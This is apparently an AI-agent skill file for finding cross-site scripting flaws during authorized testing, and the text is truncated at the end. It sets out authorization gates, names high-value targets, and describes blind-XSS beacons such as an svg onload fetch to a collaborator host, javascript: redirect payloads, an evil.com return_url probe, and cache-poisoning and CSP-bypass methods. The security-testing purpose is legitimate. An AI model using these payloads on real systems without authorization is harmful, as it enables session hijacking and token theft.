hunt-xss – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Autonomous Testing Priority

Reflection is a candidate, not XSS proof. Choose a unique random canary, compare the baseline, identify the actual HTML/attribute/JavaScript/URL context and trace source to sink. Raw <script> text can be inert inside comments, text/plain, a template, a nonexecuting DOM insertion or a restrictive CSP. HTML encoding can protect one context while a later decode or different JavaScript context remains unsafe. DOM XSS can occur without payload text in the server response.

Confirm harmless canary execution in the supported real browser, recording origin, trigger, CSP, user role and delivery prerequisites. Use only owned test sessions. An alert/canary can establish code execution; further credential theft or account changes are not required if outside scope. For stored payloads, use a private test resource, approved viewers and a cleanup plan; never expose real users or administrators to unsolicited payloads.

---

Scope and interpretation

The examples and imported historical case summaries are not verified current exploits. Apply the written target/method/request budget, and do not claim broad tenants, users or origins without evidence. Cache tests must use isolated keys and approved cleanup, not poison shared production pages. Linked helpers are not bundled.

Crown Jewel Targets

XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:

• Admin panels and authenticated dashboards (e.g., */admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
• Payment/financial flows (paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
• Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
• SSO/signin pages (e.g., paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform
• Shared SaaS tenant surfaces (*.myshopify.com, api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries
• Help/documentation sites (help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception
• SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously

Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites

---

OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

A controlled browser execution trace can confirm stored XSS without OOB. A callback alone, even with a browser User-Agent, is not definitive proof: scanners, previews, normal image loads and server clients can request the same URL. Correlate a unique execution-only canary with sink, time, origin and browser evidence. DNS alone proves resolution. No callback within ten minutes is inconclusive, not proof that logs never render HTML. Delayed beacons need explicit authorized recipients, lifetime and cleanup.

Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:

• Error messages (?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
• Auth-flow source params (?Source=, ?ReturnUrl=)
• Login form username field (admin may view audit logs of failed logins)
• User-Agent header (some SOC consoles render UA as HTML)
• Referer header (some analytics dashboards render Referer as HTML)
• Email addresses on registration / contact forms
• File-upload filenames

Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.

Imported anecdote limitation: Zero callbacks in a polling window cannot establish the rendering behavior of all SOC tools. Report only the attempted sinks, timing and observed absence of callbacks.

---

Attack Surface Signals

URL Patterns:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

Response Headers (weak defense signals):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

JS Patterns in source that signal DOM XSS:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval( <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(string,
setInterval(string,
$.html(
$(location

Tech Stack Signals:

• Rails applications using html_safe, raw, translate, Action Text, or ActionView sanitize helpers
• GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
• Applications allowing SVG uploads or rendering
• Sites using style tag in allowlists
• Kroki/Mermaid/PlantUML diagram rendering endpoints
• Cache layers in front of authenticated pages (cache poisoning vector)

---

Step-by-Step Hunting Methodology

1. Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.

2. Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.

3. Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This reduces a false-positive source; no measured percentage is established.

4. Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.

5. Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

6. Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text] (javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.

7. Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.

8. Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.

9. Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.

10. Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.

11. Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.

12. Validate in target browser — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, ou

… (nội dung đầy đủ có trong gói tải về)